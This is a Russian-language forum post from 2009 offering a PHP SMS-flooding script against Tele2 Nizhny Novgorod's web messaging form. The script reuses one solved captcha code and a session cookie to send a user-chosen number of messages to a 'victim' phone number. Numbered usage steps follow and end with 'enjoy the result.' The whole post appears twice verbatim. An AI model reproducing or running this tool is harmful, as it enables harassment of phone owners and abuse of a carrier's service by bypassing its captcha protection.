heretic1990
25.01.2009, 18:06
Нашол в интернете нерабочий код и переделал маленько его, может кому пригодится!
<?php
if($_POST['prefix'] and $_POST['number'] and $_POST['text'] and $_POST['code'] and $_POST['cookiecode'] and $_POST['floodcount'])
{
@ini_set("max_execution_time",0);
$texta = $_POST['text'];
for($sms=0;$sms<$_POST[floodcount];$sms++)
{
$content = "__VIEWSTATE=dDw2MDA2ODYxO3Q8O2w8aTwxMz47PjtsPHQ8cD xwPGw8VmlzaWJsZTs%2BO2w8bzx0Pjs%2BPjs%2BO2w8aTwwPj s%2BO2w8dDw7bDxpPDE%2BO2k8Mj47PjtsPHQ8cDxwPGw8VGV4 dDtWaXNpYmxlOz47bDxcPGEgc3R5bGU9J2NvbG9yOnJlZFw7J1 w%2B0KHQv9Cw0YHQuNCx0L4sINCS0LDRiNC1INGB0L7QvtCx0Y nQtdC90LjQtSDRg9GB0L%2FQtdGI0L3QviDQvtGC0L%2FRgNCw 0LLQu9C10L3Qvi5cPC9hXD47bzx0Pjs%2BPjs%2BOzs%2BO3Q8 dDxwPHA8bDxEYXRhVGV4dEZpZWxkO0RhdGFWYWx1ZUZpZWxkOz 47bDxwcmVmaXg7cHJlZml4Oz4%2BOz47dDxpPDc%2BO0A8OTAy OzkwNDs5MDg7OTUwOzk1MTs5NTI7OTUzOz47QDw5MDI7OTA0Oz kwODs5NTA7OTUxOzk1Mjs5NTM7Pj47Pjs7Pjs%2BPjs%2BPjs% 2BPjs%2B9CZBFyhQm4lR5hkq%2BFhBdcYp08Q%3D&SmsSender%3APrePhone=$_POST[prefix]&SmsSender%3AphoneNumber=$_POST[number]&SmsSender%3AsmsText=$texta&SmsSender%3Acode=$_POST[code]&SmsSender%3AButton1=%CE%F2%EF%F0%E0%E2%E8%F2%FC";
$content_size = strlen($content);
$sock = fsockopen("www.nnov.tele2.ru", 80);
$in .= "POST http://www.nnov.tele2.ru/483/rubr.aspx HTTP/1.0\r\n";
$in .= "Accept: */*\r\n";
$in .= "Accept-Language: ru\r\n";
$in .= "Content-Length: $content_size\r\n";
$in .= "Referer: http://www.nnov.tele2.ru/483/rubr.aspx?rubr_id=483\r\n";
$in .= "Content-Type: application/x-www-form-urlencoded\r\n";
$in .= "Proxy-Connection: Keep-Alive\r\n";
$in .= "Host: www.nnov.tele2.ru\r\n";
$in .= "Pragma: no-cache\r\n";
$in .= "Cookie: ASP.NET_SessionId=$_POST[cookiecode]\r\n\r\n";
$in .= "$content";
fwrite($sock, $in);
while (!feof($sock)) {
$out .= fgets($sock, 128);
}
$resarray = Array();
preg_match_all("#<a style='color:red;'>(.*?)</a>;#s",$out,$resarray);
#echo("<hr><pre>");
#print_r($resarray);
#echo("</pre>");
#$result = "";
echo("$sms - $out<hr>");
unset($out);
sleep(1);
fclose($sock);
}
}
else
{
?>
<form name="__aspnetForm" method="post" action="tele2.php" id="__aspnetForm">
<input type="hidden" name="__VIEWSTATE" value="dDwtMTYwOTE2MzU1Mzt0PDtsPGk8Mj47aTwyMj47PjtsPHQ8cD xsPFZpc2libGU7PjtsPG88Zj47Pj47Oz47dDxwPHA8bDxWaXNp YmxlOz47bDxvPHQ+Oz4+Oz47bDxpPDA+Oz47bDx0PDtsPGk8Mz 47PjtsPHQ8dDxwPHA8bDxEYXRhVGV4dEZpZWxkO0RhdGFWYWx1 ZUZpZWxkOz47bDxwcmVmaXg7cHJlZml4Oz4+Oz47dDxpPDc+O0 A8OTAyOzkwNDs5MDg7OTUwOzk1MTs5NTI7OTE2Oz47QDw5MDI7 OTA0OzkwODs5NTA7OTUxOzk1Mjs5MTY7Pj47Pjs7Pjs+Pjs+Pj s+Pjs+84H3aVuBKB0idWhYl3cbXhiqIhM=" />
<table cellspacing="0" cellpadding="0" width="356"
border="0">
<tr>
<td class="table1">
</td>
</tr>
<tr>
<td class="table1">
Номер Телефона:</td>
</tr>
<tr>
<td style="border-top: #6699FF 1px solid" >
<img height="2" src="" width="356"/></td>
</tr>
<tr>
<td align="left" class="table1">
<font size="4px;">+7</font>
<select name="prefix">
<option value="902">902</option>
<option value="904">904</option>
<option value="908">908</option>
<option value="950">950</option>
<option value="951">951</option>
<option value="952">952</option>
<option value="916">916</option>
</select>
<input name="number" type="text" maxlength="7" size="8"/></td>
<td></td>
</tr>
<tr>
<td style="border-top: #6699FF 1px solid" >
<img height="2" src="" width="356"/></td>
</tr>
<tr>
<td style="border-left: #6699FF 1px solid" class="table2">
Сообщение:
</td>
</tr>
<tr>
<td style="border-left: #6699FF 1px solid; height: 129px;" class="table2">
<textarea name="text" rows="5" cols="30"></textarea>
</td>
<td style="height: 129px">
</td>
</tr>
<tr>
<td style="border-left: #6699FF 1px solid" class="table2">
<table id="SmsSender_codePanel" cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td>
<table cellspacing="0" cellpadding="0" width="100%" border="0">
<tr>
<td>
Код с картинки:
</td>
</tr>
<tr>
<td>
<input name="code" type="text" maxlength="5" size="5" id="SmsSender_code" />
</td>
</tr>
<tr>
<td>
Cookie:
</td>
</tr>
<tr>
<td>
<input name="cookiecode" type="text" maxlength="64" size="20" />
</td>
</tr>
</table>
Кол-во смс:<br><input name="floodcount" type="text" maxlength="64" size="20" />
</td></tr></table>
</td>
</tr>
<tr>
<td class="table1" style="border-bottom: #6699FF 1px solid">
<input type="submit" name="SmsSender:Button1" value="послать" onclick="if (typeof(Page_ClientValidate) == 'function') Page_ClientValidate(); " language="javascript" id="SmsSender_Button1" /></td>
</tr>
</table>
<script language="javascript">
var MaxLength = 134;
function DisplayLength(){
SmSText=document.getElementById("SmsSender_smsText");
rch=document.getElementById("remainchars");
if ( SmSText.value.length > MaxLength ) {
SmSText.value = SmSText.value.substr( 0, MaxLength );
}
rch.innerText = MaxLength - SmSText.value.length;
}
function CheckLength(){
SmSText=document.getElementById("SmsSender_smsText");
event.returnValue = SmSText.value.length < MaxLength || document.selection.type != "None";
}
</script>
<script language="javascript">
function DisplayAndCheck()
{
DisplayLength();
CheckLength();
}
var smsSender=document.getElementById("SmsSender_smsText");
smsSender.onPropertyChange=DisplayLength;
smsSender.onkeypress=DisplayAndCheck;
smsSender.onpaste = DisplayAndCheck;
</script>
</form>
<?
#echo("
#");
#$socket = fsockopen("tele2.ru", 80);
#$im .= "GET http://tele2.ru/controls/ImageCode.aspx HTTP/1.0\r\n";
#$im .= "Accept: */*\r\n";
#$im .= "Accept-Language: ru\r\n";
#$im .= "Pragma: no-cache\r\n";
#$im .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
#$im .= "Host: tele2.ru\r\n";
#$im .= "Proxy-Connection: Keep-Alive\r\n\r\n";
#fwrite($socket, $im);
#while (!feof($socket))
#{
#$outo .= fgets($socket);
#}
#echo("<pre> $outo </pre>");
#$sessionarray = Array();
#preg_match_all("#Set-Cookie:(.*?)=(.*?);#s",$outo,$sessionarray);
#echo("<hr><pre>");
#print_r($sessionarray);
#echo("</pre>");
#$sid1 = $sessionarray[2][0];
#echo $sid1;
#echo("<img src='http://tele2.ru/controls/ImageCode.aspx'>");
#unset($outo);
#fclose($socket);
}
?>
Как пользоваться:
1)Идём сюда (http://www.nnov.tele2.ru/483/Article.aspx)
2)Посылаем одно сообщение жертве.
3)Вводим код с картинки в нашу форму
4)Теперь берём значение кукисов, это очень легко делается в Опере (оно должно выглядеть примерно так bkcgpo25daceo6z2u0fba845) и вводим его в нашу форму
5)Вводим: номер, сообщение, количество сообщений и жмём "послать"
6)Наслаждаемся результатом.
P.S. Скрипт удачно работает на localhost'е
<?php
if($_POST['prefix'] and $_POST['number'] and $_POST['text'] and $_POST['code'] and $_POST['cookiecode'] and $_POST['floodcount'])
{
@ini_set("max_execution_time",0);
$texta = $_POST['text'];
for($sms=0;$sms<$_POST[floodcount];$sms++)
{
$content = "__VIEWSTATE=dDw2MDA2ODYxO3Q8O2w8aTwxMz47PjtsPHQ8cD xwPGw8VmlzaWJsZTs%2BO2w8bzx0Pjs%2BPjs%2BO2w8aTwwPj s%2BO2w8dDw7bDxpPDE%2BO2k8Mj47PjtsPHQ8cDxwPGw8VGV4 dDtWaXNpYmxlOz47bDxcPGEgc3R5bGU9J2NvbG9yOnJlZFw7J1 w%2B0KHQv9Cw0YHQuNCx0L4sINCS0LDRiNC1INGB0L7QvtCx0Y nQtdC90LjQtSDRg9GB0L%2FQtdGI0L3QviDQvtGC0L%2FRgNCw 0LLQu9C10L3Qvi5cPC9hXD47bzx0Pjs%2BPjs%2BOzs%2BO3Q8 dDxwPHA8bDxEYXRhVGV4dEZpZWxkO0RhdGFWYWx1ZUZpZWxkOz 47bDxwcmVmaXg7cHJlZml4Oz4%2BOz47dDxpPDc%2BO0A8OTAy OzkwNDs5MDg7OTUwOzk1MTs5NTI7OTUzOz47QDw5MDI7OTA0Oz kwODs5NTA7OTUxOzk1Mjs5NTM7Pj47Pjs7Pjs%2BPjs%2BPjs% 2BPjs%2B9CZBFyhQm4lR5hkq%2BFhBdcYp08Q%3D&SmsSender%3APrePhone=$_POST[prefix]&SmsSender%3AphoneNumber=$_POST[number]&SmsSender%3AsmsText=$texta&SmsSender%3Acode=$_POST[code]&SmsSender%3AButton1=%CE%F2%EF%F0%E0%E2%E8%F2%FC";
$content_size = strlen($content);
$sock = fsockopen("www.nnov.tele2.ru", 80);
$in .= "POST http://www.nnov.tele2.ru/483/rubr.aspx HTTP/1.0\r\n";
$in .= "Accept: */*\r\n";
$in .= "Accept-Language: ru\r\n";
$in .= "Content-Length: $content_size\r\n";
$in .= "Referer: http://www.nnov.tele2.ru/483/rubr.aspx?rubr_id=483\r\n";
$in .= "Content-Type: application/x-www-form-urlencoded\r\n";
$in .= "Proxy-Connection: Keep-Alive\r\n";
$in .= "Host: www.nnov.tele2.ru\r\n";
$in .= "Pragma: no-cache\r\n";
$in .= "Cookie: ASP.NET_SessionId=$_POST[cookiecode]\r\n\r\n";
$in .= "$content";
fwrite($sock, $in);
while (!feof($sock)) {
$out .= fgets($sock, 128);
}
$resarray = Array();
preg_match_all("#<a style='color:red;'>(.*?)</a>;#s",$out,$resarray);
#echo("<hr><pre>");
#print_r($resarray);
#echo("</pre>");
#$result = "";
echo("$sms - $out<hr>");
unset($out);
sleep(1);
fclose($sock);
}
}
else
{
?>
<form name="__aspnetForm" method="post" action="tele2.php" id="__aspnetForm">
<input type="hidden" name="__VIEWSTATE" value="dDwtMTYwOTE2MzU1Mzt0PDtsPGk8Mj47aTwyMj47PjtsPHQ8cD xsPFZpc2libGU7PjtsPG88Zj47Pj47Oz47dDxwPHA8bDxWaXNp YmxlOz47bDxvPHQ+Oz4+Oz47bDxpPDA+Oz47bDx0PDtsPGk8Mz 47PjtsPHQ8dDxwPHA8bDxEYXRhVGV4dEZpZWxkO0RhdGFWYWx1 ZUZpZWxkOz47bDxwcmVmaXg7cHJlZml4Oz4+Oz47dDxpPDc+O0 A8OTAyOzkwNDs5MDg7OTUwOzk1MTs5NTI7OTE2Oz47QDw5MDI7 OTA0OzkwODs5NTA7OTUxOzk1Mjs5MTY7Pj47Pjs7Pjs+Pjs+Pj s+Pjs+84H3aVuBKB0idWhYl3cbXhiqIhM=" />
<table cellspacing="0" cellpadding="0" width="356"
border="0">
<tr>
<td class="table1">
</td>
</tr>
<tr>
<td class="table1">
Номер Телефона:</td>
</tr>
<tr>
<td style="border-top: #6699FF 1px solid" >
<img height="2" src="" width="356"/></td>
</tr>
<tr>
<td align="left" class="table1">
<font size="4px;">+7</font>
<select name="prefix">
<option value="902">902</option>
<option value="904">904</option>
<option value="908">908</option>
<option value="950">950</option>
<option value="951">951</option>
<option value="952">952</option>
<option value="916">916</option>
</select>
<input name="number" type="text" maxlength="7" size="8"/></td>
<td></td>
</tr>
<tr>
<td style="border-top: #6699FF 1px solid" >
<img height="2" src="" width="356"/></td>
</tr>
<tr>
<td style="border-left: #6699FF 1px solid" class="table2">
Сообщение:
</td>
</tr>
<tr>
<td style="border-left: #6699FF 1px solid; height: 129px;" class="table2">
<textarea name="text" rows="5" cols="30"></textarea>
</td>
<td style="height: 129px">
</td>
</tr>
<tr>
<td style="border-left: #6699FF 1px solid" class="table2">
<table id="SmsSender_codePanel" cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td>
<table cellspacing="0" cellpadding="0" width="100%" border="0">
<tr>
<td>
Код с картинки:
</td>
</tr>
<tr>
<td>
<input name="code" type="text" maxlength="5" size="5" id="SmsSender_code" />
</td>
</tr>
<tr>
<td>
Cookie:
</td>
</tr>
<tr>
<td>
<input name="cookiecode" type="text" maxlength="64" size="20" />
</td>
</tr>
</table>
Кол-во смс:<br><input name="floodcount" type="text" maxlength="64" size="20" />
</td></tr></table>
</td>
</tr>
<tr>
<td class="table1" style="border-bottom: #6699FF 1px solid">
<input type="submit" name="SmsSender:Button1" value="послать" onclick="if (typeof(Page_ClientValidate) == 'function') Page_ClientValidate(); " language="javascript" id="SmsSender_Button1" /></td>
</tr>
</table>
<script language="javascript">
var MaxLength = 134;
function DisplayLength(){
SmSText=document.getElementById("SmsSender_smsText");
rch=document.getElementById("remainchars");
if ( SmSText.value.length > MaxLength ) {
SmSText.value = SmSText.value.substr( 0, MaxLength );
}
rch.innerText = MaxLength - SmSText.value.length;
}
function CheckLength(){
SmSText=document.getElementById("SmsSender_smsText");
event.returnValue = SmSText.value.length < MaxLength || document.selection.type != "None";
}
</script>
<script language="javascript">
function DisplayAndCheck()
{
DisplayLength();
CheckLength();
}
var smsSender=document.getElementById("SmsSender_smsText");
smsSender.onPropertyChange=DisplayLength;
smsSender.onkeypress=DisplayAndCheck;
smsSender.onpaste = DisplayAndCheck;
</script>
</form>
<?
#echo("
#");
#$socket = fsockopen("tele2.ru", 80);
#$im .= "GET http://tele2.ru/controls/ImageCode.aspx HTTP/1.0\r\n";
#$im .= "Accept: */*\r\n";
#$im .= "Accept-Language: ru\r\n";
#$im .= "Pragma: no-cache\r\n";
#$im .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
#$im .= "Host: tele2.ru\r\n";
#$im .= "Proxy-Connection: Keep-Alive\r\n\r\n";
#fwrite($socket, $im);
#while (!feof($socket))
#{
#$outo .= fgets($socket);
#}
#echo("<pre> $outo </pre>");
#$sessionarray = Array();
#preg_match_all("#Set-Cookie:(.*?)=(.*?);#s",$outo,$sessionarray);
#echo("<hr><pre>");
#print_r($sessionarray);
#echo("</pre>");
#$sid1 = $sessionarray[2][0];
#echo $sid1;
#echo("<img src='http://tele2.ru/controls/ImageCode.aspx'>");
#unset($outo);
#fclose($socket);
}
?>
Как пользоваться:
1)Идём сюда (http://www.nnov.tele2.ru/483/Article.aspx)
2)Посылаем одно сообщение жертве.
3)Вводим код с картинки в нашу форму
4)Теперь берём значение кукисов, это очень легко делается в Опере (оно должно выглядеть примерно так bkcgpo25daceo6z2u0fba845) и вводим его в нашу форму
5)Вводим: номер, сообщение, количество сообщений и жмём "послать"
6)Наслаждаемся результатом.
P.S. Скрипт удачно работает на localhost'е